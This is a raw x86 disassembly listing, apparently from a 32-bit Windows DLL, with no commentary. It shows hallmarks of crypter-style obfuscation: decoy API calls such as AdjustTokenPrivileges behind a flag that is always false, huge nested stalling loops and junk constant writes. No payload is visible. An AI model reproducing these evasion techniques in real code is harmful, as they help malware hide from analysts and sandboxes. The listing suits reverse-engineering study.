cmp ecx, esi
setne dl
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0xa4], ecx
mov ecx, dword [ebp - 0xac]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov ecx, dword [ebp - 0x44]
setg dl
xor eax, eax
cmp edx, dword [ecx + 8]
setg al
sub eax, 0xa
cmp eax, 9
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x28]
jg 0x1004673a
mov ecx, edi
cmp dword [ebp - 0xa8], ebx
jne 0x1004673c
mov ecx, ebx
mov eax, dword [ebp - 0x120]
neg ecx
push 2
pop esi
mov dword [eax], ecx
cmp ecx, esi
jb 0x1004675a
mov eax, dword [ebp - 0x84]
mov ecx, ebx
cmp dword [eax + 8], ebx
je 0x1004675c
mov ecx, edi
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x6c], ecx
je 0x10046770
mov eax, dword [ebp - 0x18]
mov ecx, ebx
cmp dword [ebp + eax*4 - 0x6c], ebx
je 0x10046772
mov ecx, edi
mov eax, dword [ebp - 0xa4]
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], esi
jg 0x10046836
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x38], 0xeeaeff6
xor ecx, ecx
mov dword [ebp - 0x48], 9
mov dword [ebp - 0x4c], 0x384641b4
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
cmp dword [edx + 8], ebx
mov eax, dword [ebp - 0x38]
setne cl
add eax, ecx
je 0x100467c8
mov edx, edi
cmp dword [ebp - 0x38], ebx
jne 0x100467ca
mov edx, ebx
mov eax, dword [ebp - 0x48]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setne cl
imul ecx, dword [eax + 8]
imul ecx, ecx, 0x10c
mov dword [ebp - 0xa4], ecx
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x54]
add eax, ecx
add edx, eax
cmp edx, dword [ebp - 0x1b0]
jge 0x10046801
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x24], ebx
je 0x10046804
mov dword [ebp - 0x38], edi
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x6c]
mov eax, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x38]
sete dl
mov dword [ebp + eax*4 - 0x6c], ecx
xor eax, eax
mov ecx, dword [ebp - 0x50]
cmp edx, dword [ecx + 8]
mov edx, ecx
setge al
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x10046797
lea ecx, [ebp - 0x84]
call fcn.1002e206
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x10046601
lea ecx, [ebp - 0xe0]
call fcn.1002e206
lea ecx, [ebp - 0x120]
call fcn.1002e206
cmp dword [ebp - 0x2c], 0x350f
jge 0x10046877
push 0x1000c204
call fcn.1004a056
pop ecx
mov ecx, dword [ebp - 0x3c]
or esi, 0xffffffff
mov dword [ebp - 4], esi
test ecx, ecx
jne 0x10046e85
cmp dword [ebp - 0x9c], ecx
jle 0x10046e85
mov dword [ebp - 0x4c], 0xfffffffa
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 0x20], esi
push 2
call fcn.1002e184
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x50], 0x1c53
cmp dword [ebp - 0x50], 0x1e72
jle 0x10046948
mov eax, ebx
mov dword [ebp - 0x54], ebx
mov ecx, eax
mov dword [ebp - 0x48], 0x7746
mov dword [ebp - 0x28], ecx
mov eax, ebx
mov dword [ebp - 0x44], ebx
add eax, ecx
mov dword [ebp - 0x38], 0x1f39
mov dword [ebp - 0x2c], eax
cdq
lea ecx, [ebp - 0x2b8]
push edx
push eax
call fcn.1000d7c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10046900
mov eax, dword [eax]
push eax
call fcn.1004a056
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x2b8]
call fcn.1002e510
mov eax, dword [ebp - 0x2c]
inc eax
dec dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
jne 0x100468e8
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x44], eax
cmp eax, 0x11d4
jl 0x100468dc
dec ecx
dec dword [ebp - 0x48]
mov dword [ebp - 0x28], ecx
jne 0x100468d7
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp eax, 0x1231
jl 0x100468cb
mov dword [ebp - 0x20], ebx
jmp 0x10046960
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1ac]
mov dword [eax + ecx*4], 0x914d2edc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1004694d
cmp dword [ebp - 0x50], 0x1b14
jge 0x1004697a
push 0x1000c228
call fcn.1004a056
pop ecx
cmp dword [ebp - 0x4c], ebx
je 0x1004698b
mov dword [ebp - 0x2c], 0xfffb
dec dword [ebp - 0x2c]
jmp 0x100469aa
mov dword [ebp - 0x20], ebx
jmp 0x100469a4
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100469a1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe3
jge 0x10046990
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 4], esi
call fcn.1002e206
mov dword [ebp - 0x4c], 0xfffffff6
cmp dword [ebp - 0x4c], ebx
mov byte [ebp - 0x11], bl
je 0x100469f4
cmp byte [ebp - 0x11], 0
je 0x100469d4
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10046a02
push 0x1f7f
push 0x1dc7
push 0x1fa9
call dword [sym.imp.USER32.dll_SetWindowLongA]
jmp 0x10046a02
cmp byte [ebp - 0x11], 0
je 0x10046a02
push ebx
push ebx
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov dword [ebp - 0x48], 0x4f3e
cmp dword [ebp - 0x48], 0x5114
jle 0x10046a59
mov dword [ebp - 0x44], ebx
mov ecx, ebx
mov dword [ebp - 0x38], 0x3f8
mov dword [ebp - 0x2c], ecx
mov edi, ecx
mov ebx, 0x401d
mov eax, edi
mov ecx, 0x106092f8
cdq
push edx
push eax
call fcn.1002e06f
inc edi
dec ebx
jne 0x10046a28
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
add ecx, eax
dec dword [ebp - 0x38]
mov dword [ebp - 0x2c], ecx
jne 0x10046a21
inc eax
mov dword [ebp - 0x44], eax
cmp eax, 0x7c44
jl 0x10046a15
xor edi, edi
inc edi
mov dword [ebp - 4], 0x1d
cmp dword [ebp - 0x48], 0x4b58
jge 0x10046aa2
mov edx, 0x1000c27c
mov ecx, 0x106092f8
call fcn.1002fb19
jmp 0x10046aa2
mov dword [ebp - 4], esi
mov dword [ebp - 0x1c], 0x5d6c05ba
mov dword [ebp - 0x30], 0x188e17b8
mov dword [ebp - 0x30], 5
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x20], ebx
jmp 0x10046acf
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2f8], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10046ac2
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10046aea
push ebx
push 0x953
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 0x1c], ebx
jmp 0x10046b5d
mov dword [ebp - 0x20], 0xeede0b40
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0xc3203bd6
mov dword [ebp - 0x30], 0x27fa3dfa
mov dword [ebp - 0x30], 0x12530a9b
mov dword [ebp - 0x20], 0xfffffffa
jmp 0x10046b54
mov dword [ebp - 0x30], 0x4bf8f0aa
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x30], 0xe32cf415
mov dword [ebp - 0x30], 2
mov dword [ebp - 0x30], 0xcd49598a
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0xb43d2717
mov dword [ebp - 0x30], 0x491ba6b4
dec dword [ebp - 0x2c]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffffb
jne 0x10046b1a
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff2
jne 0x10046aef
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x30], 0xf9acf257
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0xfffffff6
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x1c], 0xffffffea
jmp 0x10046bc6
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x20], ebx
jmp 0x10046bb7
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x21c], 0x48f69f7f
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10046ba6
dec dword [ebp - 0x2c]
dec dword [ebp - 0x38]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffa
jle 0x10046b94
cmp dword [ebp - 0x98], 0
je 0x10046e85
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x20], 0xffffffe5
jmp 0x10046c0b
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10046bf9
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10046c08
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe3
jne 0x10046be9
mov ecx, dword [ebp - 0x98]
call fcn.100456e1
mov dword [ebp - 0x48], 0x3042
cmp dword [ebp - 0x48], 0x3151
mov dword [ebp - 0x3c], eax
jle 0x10046cbd
push 0x3c0
call dword [sym.imp.GDI32.dll_RealizePalette]
mov dword [ebp - 0x20], ebx
mov edx, ebx
mov dword [ebp - 0x28], ebx
mov ecx, ebx
mov dword [ebp - 0x34], ebx
mov eax, ebx
mov dword [ebp - 0x2c], ebx
and eax, ecx
lea ecx, [ebp - 0x234]
or eax, edx
or eax, dword [ebp - 0x20]
cdq
push edx
push eax
call fcn.1000d7c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10046c6f
mov eax, dword [eax]
push eax
call fcn.1004a056
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x234]
call fcn.1002e510
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x34]
inc eax
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
cmp eax, 0x1105
jl 0x10046c50
inc ecx
mov dword [ebp - 0x34], ecx
cmp ecx, 0x3b26
jl 0x10046c4b
inc edx
mov dword [ebp - 0x28], edx
cmp edx, 0x5463
jl 0x10046c46
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x7d2a
jl 0x10046c41
mov dword [ebp - 0x28], 0x4276
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x30], 0xdcee34ed
mov dword [ebp - 0x54], 0x13e19f23
mov dword [ebp - 0x30], 0xfffffff8
mov dword [ebp - 0x44], 0x56974edf
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x30], 0x47d228d5
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x20], 9
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x2c], 0xe80c6548
mov dword [ebp - 0x50], ebx
push 0xfffffffffffffffc
pop eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x74], 0xff4caa5d
mov dword [ebp - 0x58], 0xaa237f4a
mov dword [ebp - 0x1c], 0x857b1a09
mov dword [ebp - 0x58], 0x62d50c85
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x38], 0xeb61943e
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x2c], 0xd58e7ea1
push 2
call fcn.1002e184
mov dword [ebp - 0x34], 0x674643a6
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x18], ebx
jmp 0x10046d6e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x198], 0xec0d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10046d5d
mov dword [ebp - 0x18], ebx
jmp 0x10046d8c
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x180]
mov dword [eax + ecx*4], 0x8d08f492
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10046d79
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
inc dword [ebp - 0x34]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
mov ecx, edi
mov dword [ebp - 0x2c], eax
cmovle ecx, ebx
cmp dword [ebp - 0x2c], ebx
je 0x10046dbd
mov eax, edi
cmp dword [ebp - 0x190], ebx
jne 0x10046dbf
mov eax, ebx
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
cmp eax, 0xfe54
mov eax, dword [ebp - 0x38]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
setge cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x2c]
setne dl
xor ecx, ecx
cmp eax, edx
setg cl
sub ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x180]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x50]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x4c], ecx
xor ecx, ecx
cmp dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x20]
setg cl
xor edx, edx
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
neg edx
sbb edx, edx
inc edx
sub eax, edx
sub eax, dword [ebp - 0x28]
jne 0x10046e31
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x58]
mov ecx, ebx
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x44], ebx
je 0x10046e43
mov ecx, edi
mov eax, dword [ebp - 0x194]
sub ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0x180]
call fcn.1002e206
cmp dword [ebp - 0x48], 0x2e65
jge 0x10046e74
push 0x1000c2d8
call fcn.1004a056
pop ecx
lea eax, [ebp - 0x5c]
mov dword [ebp - 4], esi
push eax
call fcn.1004723b
mov ecx, dword [ebp - 0x3c]
mov dword [eax], ecx
lea ecx, [ebp - 0x9c]
call fcn.10041b8e
mov dword [ebp - 0x24], 0x4e1a3622
mov dword [ebp - 0x30], 0x28405cef
mov dword [ebp - 0x20], ebx
jmp 0x10046eb1
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x60], 5
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10046ea3
cmp dword [ebp - 0x24], ebx
je 0x10046eee
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10046ed4
push ebx
push ebx
push 0x1012
push ebx
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov dword [ebp - 0x24], ebx
jmp 0x10046ee7
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x60], 0xc17633ef
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10046ed9
jmp 0x10046f35
mov dword [ebp - 0x28], 0xed3c
xor edx, edx
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
add ecx, 0xfbcf
cmp eax, ecx
mov eax, dword [ebp - 0x2c]
setg dl
sub eax, dword [ebp - 0x24]
imul edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0x60]
cmp edx, eax
setl cl
cmp dword [ebp - 0x60], ecx
jg 0x10046f30
mov eax, edi
cmp dword [ebp - 0x28], ebx
jne 0x10046f32
mov eax, ebx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x40]
test eax, eax
jne 0x10046f63
mov eax, dword [ebp - 0x3c]
test eax, eax
je 0x10046f63
mov edx, dword [ebp - 0x70]
mov ecx, eax
call fcn.1004572b
mov esi, eax
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x108], esi
call fcn.100471d9
mov dword [eax], esi
or esi, 0xffffffff
mov dword [ebp - 0x18], 0x2daf
mov dword [ebp - 0x24], 0xbc9c3d06
mov dword [ebp - 0x28], 0x37d0
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x34], 0x4cc511ec
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0xfffffff7
cmp dword [ebp - 0x24], ebx
jne 0x10046f97
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], 7
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setge cl
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x24], ebx
je 0x10046fde
mov eax, dword [ebp - 0x20]
mov edx, edi
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jne 0x10046fe0
mov edx, ebx
cmp dword [ebp - 0x20], ebx
jne 0x10046fe7
mov edi, ebx
xor ecx, ecx
mov eax, 0xd0336d06
cmp edi, 0xfffffffd
sete cl
sub eax, ecx
xor ecx, ecx
cmp edx, eax
setge cl
test ecx, ecx
je 0x10047019
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10047145
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
jmp 0x10047145
push dword [ebp + 8]
movdqa xmm0, xmmword [0x1000c350]
lea eax, [ebp - 0x1c4]
push eax
lea eax, [ebp - 0x1d4]
mov dword [ebp - 0xf0], ebx
push eax
push ebx
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0xec], ebx
movdqu xmmword [ebp - 0x1d4], xmm0
mov dword [ebp - 0xe8], ebx
call fcn.10030038
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1004707d
push 0x18cf
push ebx
push 0xfc7
push 0x6c9
push ebx
push 0xcd3
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
mov dword [ebp - 0x24], 0xfffffffa
cmp dword [ebp - 0x24], 0xffffffe7
jg 0x1004713a
mov edi, dword [ebp - 0xf0]
mov dword [ebp - 0x20], ebx
jmp 0x100470a6
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x138], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10047099
dec dword [ebp - 0x134]
xor edx, edx
cmp dword [edi + 8], 0xffff
mov ecx, dword [ebp - 0x134]
sete dl
inc ecx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp edx, ecx
mov edx, dword [ebp - 0x134]
setg al
sub edx, eax
mov eax, dword [ebp - 0x28]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
add ecx, 0x257d73fc
cmp dword [ebp - 0x18], ecx
mov byte [ebp - 0x11], bl
jge 0x10047110
cmp byte [ebp - 0x11], 0
je 0x1004712d
push 0x7be
push ebx
push 0xf72
push ebx
call dword [sym.imp.USER32.dll_LoadStringA]
jmp 0x1004712d
cmp byte [ebp - 0x11], 0
je 0x1004712d
push 0x22d6
push 0x731
push ebx
push 0x7fc
push ebx
call dword [sym.imp.USER32.dll_GetMenuStringW]
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe7
jle 0x10047094
lea ecx, [ebp - 0xf0]
call fcn.1002e206
mov eax, dword [ebp + 8]
lea esi, [ebp - 0x108]
mov ecx, dword [ebp - 0xc]
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret